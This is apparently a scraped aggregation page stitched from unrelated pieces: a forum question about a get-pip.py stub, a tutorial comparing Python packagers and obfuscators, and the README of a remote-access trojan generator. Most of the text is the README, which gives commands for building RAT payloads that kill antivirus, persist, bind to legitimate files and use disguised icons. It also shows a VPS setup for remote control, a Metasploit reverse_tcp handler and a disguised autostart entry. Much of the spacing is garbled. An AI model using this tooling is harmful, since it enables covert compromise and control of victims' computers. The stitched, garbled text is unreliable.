is this python pip install script legitmate or a trojan horse?

When it gets to the part about installing setup tools and pip it links to a ez_setup.py script which I downloaded and ran. It seemed to install setup_tools. I then clicked on the link to the pip-get.py and noticed it only contained the following:

#!/usr/bin/env python

import sys
def main():
   sys.exit(
      "You're using an outdated location for the get-pip.py script, please "
      "use the one available from https://bootstrap.pypa.io/get-pip.py"
   )
if __name__ == "__main__":
   main()

Suggestion : 2

July 14, 2020

Let’s create a simple “Hello, world!” program in Python and freeze it into a stand-alone executable using PyInstaller:

$ cat hello.py
print('Hello, world!')

$ pyinstaller--onefile hello.py
   ...

   $. / dist / hello
Hello, world!

   $ file dist / hello
dist / hello: ELF 64 - bit LSB executable, x86 - 64, version 1(SYSV), dynamically linked, interpreter /
   lib64 / ld - linux - x86 - 64. so .2,
   for GNU / Linux 2.6 .32, BuildID[sha1] = 294 d1f19a085a730da19a6c55788ec0
8 c2187039, stripped

$ du - sh dist / hello
7.0 M dist / hello

This process created a portable, stand-alone Linux ELF (Executable and Linkable Format) which is the equivalent to an EXE on Windows. Now let’s create and compile a “Hello, world!” program in C on Linux for comparison:

$ cat hello.c#include

int main() {
   printf("Hello, world!");
}

$ gcc hello.c - o hello

$. / hello
Hello, world!

   $ file hello
hello: ELF 64 - bit LSB pie executable, x86 - 64, version 1(SYSV), dynamically linked, interpreter /
   lib64 / ld - linux - x86 - 64. so .2, BuildID[sha1] = 480 c7c75e09c169ab25d1b81bd28f66fde08da7c,
   for GNU / Li
nux 3.2 .0, not stripped

$ du - sh hello
20 K hello

Py2exe utilizes distutils and requires a small setup.py script to be created to produce an executable. Let’s create an example “Hello, world!” executable using py2exe:

> type hello.py
print('Hello, world!')

   >
   type setup.py
import py2exe
from distutils.core
import setup
setup(
      console = ['hello.py'],
      options = {
         'py2exe': {
            'bundle_files': 1,
            'compressed': True
         }
      },
      zipfile = None
   )

   >
   python setup.py py2exe
   ...

   >
   dist\ hello.exe
Hello, world!

Nuitka produced a portable binary very simply, and at 432 KB is a fraction of the size of what PyInstaller or py2exe can produce! How is Nuitka able to do this? Let’s take a look at the build folder:

$ cloc hello.build /
   -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -
   Language files blank comment code
   -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -
   C 11 2263 709 8109
C / C++Header 1 1 0 7
   -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -
   SUM: 12 2264 709 8116
   -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -

Here’s a small example of how pyarmor can obfuscate Python code:

$ cat hello.py
print('Hello, world!')

$ pyarmor obfuscate hello.py
   ...

   $ cat dist / hello.py
from pytransform
import pyarmor_runtime
pyarmor_runtime()
__pyarmor__(__name__, __file__, b '\x50\x59\x41\x52\x4d\x4f\x52\x00\x00\x03\x08\x00\x55\x0d\x0d\
x0a\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00\xd5\x00\x00\x00\x00\x00\x00\
      x18\ xf4\ x63\ x79\ xf6\ xaa\ xd7\ xbd\ xc8\ x85\ x25\ x4e\ x4f\ xa6\ x80\ x72\ x9f\ x00\ x00\ x00\ x00\ x00\ x00\ x0 0\ x00\ xec\ x50\ x8c\ x64\ x26\ x42\ xd6\ x01\ x10\ x54\ xca\ x9c\ xb6\ x30\ x82\ x05\ xb8\ x63\ x3f\ xb0\ x96\ xb1\ x 97\ x0b\ xc1\ x49\ xc9\ x47\ x86\ x55\ x61\ x93\ x75\ xa2\ xc2\ x8c\ xb7\ x13\ x87\ xff\ x31\ x46\ xa5\ x29\ x41\ x9d\ xdf\ x32\ xed\ x7a\ xb9\ xa0\ xe1\ x9a\ x50\ x4a\ x65\ x25\ xdb\ xbe\ x1b\ xb6\ xcd\ xd4\ xe7\ xc2\ x97\ x35\ xd3\ x3e\ xd3\ xd0\ x74\ xb8\ xd5\ xab\ x48\ xd3\ x05\ x29\ x5e\ x31\ xcf\ x3f\ xd3\ x51\ x78\ x13\ xbc\ xb3\ x3e\ x63\ x62\ xc a\ x05\ xfb\ xac\ xed\ xfa\ xc1\ xe3\ xb8\ xa2\ xaa\ xfb\ xaa\ xbb\ xb5\ x92\ x19\ x73\ xf0\ x78\ xe4\ x9f\ xb0\ x1c\ x 7 a\ x1c\ x0c\ x6a\ xa7\ x8b\ x19\ x38\ x37\ x7f\ x16\ xe8\ x61\ x41\ x68\ xef\ x6a\ x96\ x3f\ x68\ x2b\ xb7\ xec\ x60\ x39\ x51\ xa3\ xfc\ xbd\ x65\ xdb\ xb8\ xff\ x39\ xfe\ xc0\ x3d\ x16\ x51\ x7f\ xc9\ x7f\ x8b\ xbd\ x88\ x80\ x92\ xfe\ xe1\ x23\ x61\ xd0\ xf1\ xd3\ xf8\ xfa\ xce\ x86\ x92\ x6d\ x4d\ xd7\ x69\ x50\ x8b\ xf1\ x09\ x31\ xcc\ x19\ x15\ xe f\ x37\ x12\ xd4\ xbd\ x3d\ x0d\ x6e\ xbb\ x28\ x3e\ xac\ xbb\ xc4\ xdb\ x98\ xb5\ x85\ xa6\ x19\ x11\ x74\ xe9\ xab\ x df ', 1)

      $ python dist / hello.py Hello, world!

Suggestion : 3

On Attacker Side: While Creating Payload, Script Automatically Detects Missing Dependencies & Installs Them,Currently this repo is maintained by me (Pushpender Singh). But If you want to become contributor, then add some cool feature and make a pull request, I will review, and merge it this repo.,All contributor's pull request will be accepted if their pull request is worthy for this repo.,Navigate to the following path Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run There should be an entry called winexplorer, right click this entry and select Delete.

                    This small python script can do really awesome work.

# Install dependencies
$ Install latest python 3. x

# Navigate to the / opt directory(optional)
$ cd / opt /

   # Clone this repository
$ git clone https: //github.com/PushpenderIndia/thorse.git

   # Go into the repository
$ cd thorse

# Installing dependencies
$ bash installer_linux.sh

# If you are getting any errors
while executing installer_linux.sh,
   try to install using installer_linux.py
$ python3 installer_linux.py

$ chmod + x paygen.py
$ python3 paygen.py--help

# Making Payload / RAT
$ python3 paygen.py--ip 127.0 .0 .1--port 8080 - e youremail @gmail.com - p YourEmailPass - l - o output_file_name--icon icon_path

# Making Payload / RAT with Custom AVKiller[By Default, Tons of Know AntiVirus is added in Kill_Targets]
$ python3 paygen.py--ip 127.0 .0 .1--port 8080 - e youremail @gmail.com - p YourEmailPass - l - o output_file_name--icon icon_path--kill_av AntiVirus.exe

# Making Payload / RAT with Custom Time to become persistence
$ python3 paygen.py--ip 127.0 .0 .1--port 8080 - e youremail @gmail.com - p YourEmailPass - l - o output_file_name--icon icon_path--persistence 10

Note: You can also use our custom icons from the icon folder, just use them like this--icon icon / pdf.ico

# 1. Setup a VPS, You can buy Ubuntu VPS from any VPS Provider such as Digital Ocean, Linode, AWS, etc

# 2. Connect to your VPS Using SSH
$ ssh username @ip_address

# 3. Update Your Linux VPS
$ sudo apt update

# 4. Add Kali Linux Repository
$ sudo sh - c "echo 'deb https://http.kali.org/kali kali-rolling main non-free contrib' > /etc/apt/sources.list.d/kali.list"

# 5. Install gnupg package
$ sudo apt install gnupg

# 6. Add Kali Public Keys
$ wget 'https://archive.kali.org/archive-key.asc' && sudo apt - key add archive - key.asc

# 7. Update VPS
$ sudo apt update

# 8. Set Kali Priority
$ sudo sh - c "echo 'Package: *'>/etc/apt/preferences.d/kali.pref; echo 'Pin: release a=kali-rolling'>>/etc/apt/preferences.d/kali.pref; echo 'Pin-Priority: 50'>>/etc/apt/preferences.d/kali.pref"

# 9. Update VPS
$ sudo apt update

# 10. Install Metasploit Framework in VPS
$ sudo apt install - t kali - rolling metasploit - framework

# NOTE: Above Steps needs to be performed only
for once

# 11. Install pip3
$ sudo apt install python3 - pip

# 12. Clone this repository
$ git clone https: //github.com/PushpenderIndia/thorse.git

   # 13. Go into the repository
$ cd thorse

# 14. Installing dependencies
$ bash installer_linux.sh

# 15. If you are getting any errors
while executing installer_linux.sh,
   try to install using installer_linux.py
$ python3 installer_linux.py

$ 16. chmod + x paygen.py
$ python3 paygen.py--help

# Making Payload / RAT(If you want to Compile RAT
   for Windows, then Build RAT on Windows Machine & Use VPS
   for Controlling RAT Remotely)
$ python3 paygen.py--ip VPS_Public_IP_Address--port 8080 - e youremail @gmail.com - p YourEmailPass - l - o output_file_name--icon icon_path

# Making Payload / RAT with Custom AVKiller[By Default, Tons of Know AntiVirus is added in Kill_Targets]
$ python3 paygen.py--ip VPS_Public_IP_Address--port 8080 - e youremail @gmail.com - p YourEmailPass - l - o output_file_name--icon icon_path--kill_av AntiVirus.exe

# Making Payload / RAT with Custom Time to become persistence
$ python3 paygen.py--ip VPS_Public_IP_Address--port 8080 - e youremail @gmail.com - p YourEmailPass - l - o output_file_name--icon icon_path--persistence 10

Note: You can also use our custom icons from the icon folder, just use them like this--icon icon / pdf.ico

# Install dependencies
$ Install latest python 3. x

# Clone this repository
$ git clone https: //github.com/PushpenderIndia/thorse.git

   # Go into the repository
$ cd thorse

# Installing dependencies
$ python - m pip install - r requirements.txt

# Open paygen.py in Text editor and Configure Line 15, set Pyinstaller path, Default Path is as follows: -
   # PYTHON_PYINSTALLER_PATH = os.path.expanduser("C:/Python37-32/Scripts/pyinstaller.exe")

# Getting Help Menu
$ python paygen.py--help

# Making Payload / RAT
$ python paygen.py--ip 127.0 .0 .1--port 8080 - e youremail @gmail.com - p YourEmailPass - w - o output_file_name--icon icon_path

# Making Payload / RAT with Custom AVKiller[By Default, Tons of Know AntiVirus is added in Kill_Targets]
$ python paygen.py--ip 127.0 .0 .1--port 8080 - e youremail @gmail.com - p YourEmailPass - l - o output_file_name--icon icon_path--kill_av AntiVirus.exe

# Making Payload / RAT binded with legitimate file[Any file.exe, .pdf, .txt etc]
$ python paygen.py--ip 127.0 .0 .1--port 8080 - e youremail @gmail.com - p YourEmailPass - l - o output_file_name--icon icon / txt.ico--bind passwords.txt

Note: You can also use our custom icons from the icon folder, just use them like this--icon icon / pdf.ico

$ sudo msfconsole
msf3 > use exploit / multi / handler
msf3 > set payload python / meterpreter / reverse_tcp
msf3 > set LHOST 192.168 .43 .221
msf3 > set LPORT 443
msf3 > run

   [Desktop Entry]
   Type = Application
   X - GNOME - Autostart - enabled = true
   Name = Xinput
   Exec = "destination_file_name"